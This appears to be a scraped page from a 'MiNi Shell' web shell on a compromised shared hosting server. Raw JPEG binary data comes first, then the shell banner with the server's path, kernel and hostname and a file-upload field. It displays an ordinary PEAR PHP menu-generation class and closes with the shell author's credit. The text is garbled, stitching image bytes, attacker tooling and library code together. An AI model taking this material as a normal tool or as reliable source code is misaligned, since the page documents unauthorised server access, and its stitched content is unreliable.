JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/thread-self/root/usr/local/lib/php-4.4.9/lib/php/DB/NestedSet/

Linux boscustweb5005.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : //proc/thread-self/root/usr/local/lib/php-4.4.9/lib/php/DB/NestedSet/TigraMenu.php

<?php
//
// +----------------------------------------------------------------------+
// | PEAR :: DB_NestedSet_TigraMenu                                        |
// +----------------------------------------------------------------------+
// | Copyright (c) 1997-2003 The PHP Group                                |
// +----------------------------------------------------------------------+
// | This source file is subject to version 2.0 of the PHP license,       |
// | that is bundled with this package in the file LICENSE, and is        |
// | available at through the world-wide-web at                           |
// | http://www.php.net/license/2_02.txt.                                 |
// | If you did not receive a copy of the PHP license and are unable to   |
// | obtain it through the world-wide-web, please send a note to          |
// | license@php.net so we can mail you a copy immediately.               |
// +----------------------------------------------------------------------+
// | Authors: Daniel Khan <dk@webcluster.at>                              |
// +----------------------------------------------------------------------+
//
// $Id: TigraMenu.php,v 1.6 2003/05/25 00:46:46 datenpunk Exp $
//

// {{{ DB_NestedSet_TigraMenu:: class

/**
* This class can be used to generate the data to build javascript popup menu
* from a DB_NestedSet node array.
* The Javascript part is done using the free available TigraMenu
* available at http://www.softcomplex.com/products/tigra_menu/.
* Currently version 1.0 is supported.
* Parts of this class where taken ftom the TreemMenu driver by Jason Rust
*
* @author       Daniel Khan <dk@webcluster.at>
* @package      DB_NestedSet
* @version      $Revision: 1.6 $
* @access       public
*/
// }}}
class DB_NestedSet_TigraMenu extends DB_NestedSet_Output {
    // {{{{ properties
	
	/**
	* @var integer The depth of the current menu.
	* @access private
	*/
	var $_levels	= 1;

	/**
	* @var integer The level we started at
	* @access private
	*/	
	var $_levelOffset = false;
	
	
	/**
	* @var array The current menu structure
	* @access private
	*/
	var $_structTigraMenu = false;

	/**
	* @var array The longest text for each level
	* @access private
	*/	
	var $_strlenByLevel	= array();

    // }}}
	// {{{ DB_NestedSet_TigraMenu
	
	/**
	* Constructor
	*
	* @param array $params A hash with parameters needed by the class
	* @see _createFromStructure()
	* @return bool
	**/
	function &DB_NestedSet_TigraMenu($params) {
		$this->_menu_id = $params['menu_id'];
		$this->_structTigraMenu = $this->_createFromStructure($params);
		return true;
	}
	
	// }}}
	// {{{ _createFromStructure()
	
	/**
	* Creates the JavaScript array for TigraMenu
	* Initially this method was introduced for the TreeMenu driver by Jason Rust
	*
	* o 'structure' => the result from $nestedSet->getAllNodes(true)
	* o 'textField' => the field in the table that has the text for node
	* o 'linkField' => the field in the table that has the link for the node
	*
	* @access private
	* @return string The TigraMenu JavaScript array
	*/
	function &_createFromStructure($params)
	{
		// Basically we go through the array of nodes checking to see
		// if each node has children and if so recursing.  The reason this
		// works is because the data from getAllNodes() is ordered by level
		// so a root node will always be first, and sub children will always
		// be after them.
		
		static $rootlevel;
		
		// always start at level 1
		if (!isset($params['currentLevel'])) {
			$params['currentLevel'] = 1;
		}
		
		if (!isset($rootlevel)) {
			$rootlevel = $params['currentLevel'];
		}
		
		if (isset($params['tigraMenu'])) {
			$tigraMenu = $tigraMenu.$params['tigraMenu'];
		}
		
		if(!$this->_levelOffset) {
			$this->_levelOffset = $params['currentLevel'];
		}

		if($this->_levels < ($params['currentLevel']- $this->_levelOffset)) {
			$this->_levels = $params['currentLevel'] - $this->_levelOffset;
		}
		
		
		// have to use a while loop here because foreach works on a copy of the array and
		// the child nodes are passed by reference during the recursion so that the parent
		// will know when they have been hit.
		reset($params['structure']);
		while(list($key, $node) = each($params['structure'])) {
			// see if we've already been here before
			if (isset($node['hit']) || $node['level'] < $params['currentLevel']) {
				continue;
			}
			
			// mark that we've hit this node
			$params['structure'][$key]['hit'] = $node['hit'] = true;
			
			$tag = array(
			isset($node[$params['textField']]) ? "'".$node[$params['textField']]."'" : 'null',
			isset($node[$params['linkField']]) ? "'".$node[$params['linkField']]."'" : 'null'
			);
			
			if (!$this->_strlenByLevel[$params['currentLevel'] - $this->_levelOffset] || 
                strlen($node[$params['textField']]) > $this->_strlenByLevel[$params['currentLevel'] - $this->_levelOffset]) {
				$this->_strlenByLevel[$params['currentLevel'] - $this->_levelOffset] = strlen($node[$params['textField']]);
			};
			
			$tigraMenu = $tigraMenu.$this->_openSubMenu($tag);
			
			// see if it has children
			if (($node['r'] - 1) != $node['l']) {
				$children = array();
				// harvest all the children
				$tempStructure = $params['structure'];
				foreach ($tempStructure as $childKey => $childNode) {
					if (!isset($childNode['hit']) &&
					$node['rootid'] == $childNode['rootid'] &&
					$node['l'] < $childNode['l'] &&
					$node['r'] > $childNode['r'] &&
					$childNode['level'] > $params['currentLevel']) {
						// important that we assign it by reference here, so that when the child
						// marks itself 'hit' the parent loops will know
						$children[] =& $params['structure'][$childKey];
					}
				}
				
				$recurseParams = $params;
				$recurseParams['structure'] = $children;
				$recurseParams['currentLevel']++;
				$tigraMenu = $tigraMenu.$this->_createFromStructure($recurseParams);
			}
			
			$tigraMenu = $tigraMenu.$this->_closeSubMenu();
		}
		return $tigraMenu;
	}
	
	// }}}
	// {{{ _openMenu()
	
	/**
	* Returns the string which opens the JavaScript menu
	* 
	* @access private
	* @param int $menu_id ID of the menu needed to use more than one menu on a page
	* @return string The JavaScript piece
	*/
	function _openMenu($menu_id=1) 
    {
		$str = false;
		$str = $str."var MENU_ITEMS".$menu_id." = new Array();\n";
		$str = $str."MENU_ITEMS".$menu_id." = [\n";
		return $str;
	}

	// }}}
	// {{{ _openSubMenu()	
	
	/**
	* Returns the string which opens a submenu within the JavaScript menu
	* 
	* @access private
	* @param array $tag Contains the content of the current item (name, link)
	* @return string The JavaScript piece
	*/
	function _openSubMenu($tag) 
    {
		$rtag = implode(', ', $tag);
		return "\n[".$rtag.',';
	}

	// }}}
	// {{{ _closeMenu()	
		
	/**
	* Closes the JavaScript array
	* 
	* @access private
	* @return string The JavaScript piece
	*/	
	function _closeMenu() 
    {
		
		return '];';
	}

	// }}}
	// {{{ _closeSubMenu()	
		
	/**
	* Closes the JavaScript array of a submenu
	* 
	* @access private
	* @return string The JavaScript piece
	*/		
	function _closeSubMenu() 
    {
		return "\n],";
	}
	
	// }}}
	// {{{ _addStyles()

	/**
	* Creates the JavaScript code which sets the styles for each level
	* 
	* @access private
	* @param int $menu_id ID of the menu needed to use more than one menu on a page
	* @param array $rootStyles Array of style attributes for the top items
	* @param array $childStyles Array of style attributes for the sub items
	* @return string The JavaScript piece
	*/		
	function _addStyles($menu_id, $rootStyles, $childStyles = false) 
    {
		if (!$childStyles) {
			$childStyles = $rootStyles;
		}
		
		$styles = array();
		foreach ($rootStyles as $key => $val) {
			foreach ($val as $skey => $sval) {
				$styles["'$key'"][$skey][] = "'$sval'";
			}
		}
		
		foreach ($childStyles as $key => $val) {
			foreach ($val as $skey => $sval) {
				for ($i = 1; $i <= $this->_levels; $i++) {
					$styles["'$key'"][$skey][] = "'$sval'";
				}
			}
		}
		
		$menustyles = false;
		$menustyles = $menustyles . 'var MENU_STYLES'.$menu_id." = new Array();\n";
		foreach ($styles as $key => $val) {
			$menustyles = $menustyles.'MENU_STYLES'.$menu_id."[$key] = [\n";
			foreach ($val as $skey => $sval) {
				$menustyles = $menustyles . "'$skey', [".implode(', ', $sval)."],\n";
			}
			$menustyles = $menustyles."];\n";
		}
		
		return $menustyles;
	}

	// }}}	
	// {{{ _addGeometry()

	/**
	* Creates the JavaScript code which sets the position and geometry of the menu
	* 
	* @access private
	* @param int $menu_id ID of the menu needed to use more than one menu on a page
	* @param array $rootGeometry Array of geometry attributes for the top items
	* @param array $childGeometry  Array of geometry attributes for the sub items
	* @return string The JavaScript piece
	*/		
	function _addGeometry($menu_id, $rootGeometry, $childGeometry = false) 
    {
		if (!$childGeometry) {
			$childGeometry = $rootGeometry;
		}
		
		$params = array();
		$geometry = array();
		foreach ($rootGeometry as $key => $val) {
			$geometry["'$key'"][] = $val;
			$incr = false;
			if (strpos($val, ',') !== false) {
				list($start, $interval) = explode(',',$val);
				$incr = true;
			}
			
			$ratio = false;
			if ($key == 'width' && strpos($val, '*') !== false) {
				$ratio = trim(str_replace('*','', $val));
			}
			if ($incr) {
				$val = trim($interval);
				if ($key == 'left' && preg_match('/[+-]/', $interval)) {
					$val = $params[0]['width'] + trim($val);
				}
			} elseif ($incr) {
				$val = trim($start);
			} elseif ($ratio) {
				$val = $ratio * $this->_strlenByLevel[0];
			}
			$geometry["'$key'"][0] = $val;
			$params[0][$key] = $val;
		}
		
		foreach($childGeometry as $key => $val) {
			$incr = false;
			if (strpos($val, ',') !== false) {
				list($start, $interval) = explode(',', $val);
				$incr = true;
			}
			
			$ratio = false;
			if ($key == 'width' && strpos($val, '*') !== false) {
				$ratio = trim(str_replace('*', '', $val));
			}
			
			for ($i = 1; $i <= $this->_levels; $i++) {
				if ($incr && isset($lastval[$key])) {
					$val = trim($interval);
					if($key == 'block_left' && preg_match('/[+-]/', $interval)) {
						$val = $params[$i - 1]['width'] + trim($val);
					}
				} elseif($incr) {
					$val = trim($start);
				} elseif ($ratio) {
					$val = $ratio * $this->_strlenByLevel[$i];
					if($val < $params[0]['width']) {
						$val = 	$params[0]['width'];
					}
				}
				
				$lastval[$key] = $val;
				$geometry["'$key'"][] = $val;
				$params[$i][$key] = $val;
			}
			
		}
		
		$pos = false;
		$pos = $pos . 'var MENU_POS'.$menu_id." = new Array();\n";
		foreach ($geometry as $key => $val) {
			$pos = $pos . 'MENU_POS' . $menu_id . "[$key] = [" . implode(', ', $val) . "];\n";
		}
		
		return $pos;
	}

	// }}}	
	// {{{ printTree()
		
	/**
	* Print's the current tree using the output driver
	*
	* @access public
	*/
	function printTree() 
    {
		if (!$options = $this->_getOptions('printTree')) {
            return PEAR::raiseError("TigraMenu::printTree() needs options. See TigraMenu::setOptions()", NESEO_ERROR_NO_OPTIONS, PEAR_ERROR_TRIGGER, E_USER_ERROR);
		}
		
		echo $this->_openMenu($options['menu_id']) . $this->_structTigraMenu  .$this->_closeMenu();
		echo "\n\n";
		echo $this->_addStyles($options['menu_id'], $options['rootStyles'], $options['childStyles']);
		echo "\n\n";
		echo $this->_addGeometry($options['menu_id'], $options['rootGeometry'], $options['childGeometry']);
	}
	
	// }}}
}
?>

Creat By MiNi SheLL
Email: devilkiller@gmail.com